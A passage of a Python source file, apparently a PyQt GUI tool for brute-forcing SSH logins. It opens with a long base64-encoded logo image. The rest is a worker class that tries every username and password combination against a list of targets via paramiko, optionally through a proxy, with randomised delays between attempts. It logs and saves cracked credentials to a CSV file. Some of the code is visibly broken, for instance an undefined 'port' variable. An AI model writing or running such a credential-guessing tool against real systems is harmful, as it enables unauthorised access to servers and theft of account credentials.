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
0Dr0AAAAAElFTkSuQmCC
"""
logo_data = base64.b64decode(base64_logo)
logo_image = Image.open(BytesIO(logo_data))
logo_image.save('temp_logo.png')
logging.basicConfig(filename="ssh_bruteforce.log", level=logging.INFO, format="%(asctime)s - %(levelname)s - %(message)s")
class SSHBruteforceWorker(QThread):
progress = pyqtSignal(int)
status = pyqtSignal(str)
update_time = pyqtSignal(str)
def __init__(self, targets, usernames, passwords, timeout, retries, proxy, parent=None):
super().__init__(parent)
self.targets = targets
self.usernames = usernames
self.passwords = passwords
self.timeout = timeout
self.retries = retries
self.proxy = proxy
self.total_tasks = len(targets) * len(usernames) * len(passwords)
self.completed_tasks = 0
def run(self):
with ThreadPoolExecutor(max_workers=4) as executor:
for target in self.targets:
for username in self.usernames:
for password in self.passwords:
executor.submit(self.ssh_bruteforce, target, username, password, port)
self.status.emit("[*] SSH Bruteforce completed.")
def ssh_bruteforce(self, target, username, password, port):
ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
attempt = 0
while attempt < self.retries:
try:
if self.proxy:
ssh.connect(target, port=port, username=username, password=password, timeout=self.timeout, sock=self.proxy)
else:
ssh.connect(target, port=port, username=username, password=password, timeout=self.timeout)
message = f"[+] Cracked: {username}@{target} with password: {password}"
self.status.emit(message)
logging.info(message)
with open('successful_logins.csv', 'a') as csvfile:
writer = csv.writer(csvfile)
writer.writerow([target, username, password])
ssh.close()
return True
except paramiko.AuthenticationException:
message = f"[-] Incorrect login: {password}"
self.status.emit(message)
logging.warning(message)
break
except socket.error as e:
message = f"[!] Connection error: {str(e)}"
self.status.emit(message)
logging.error(message)
attempt += 1
time.sleep(1)
except Exception as e:
message = f"[!] Unexpected error: {str(e)}"
self.status.emit(message)
logging.error(message)
break
finally:
ssh.close()
time.sleep(uniform(0.5, 1.5))
self.completed_tasks += 1
progress_percent = int((self.completed_tasks / self.total_tasks) * 100)
self.progress.emit(progress_percent)
remaining_time = self.calculate_remaining_time()
self.update_time.emit(remaining_time)
return False
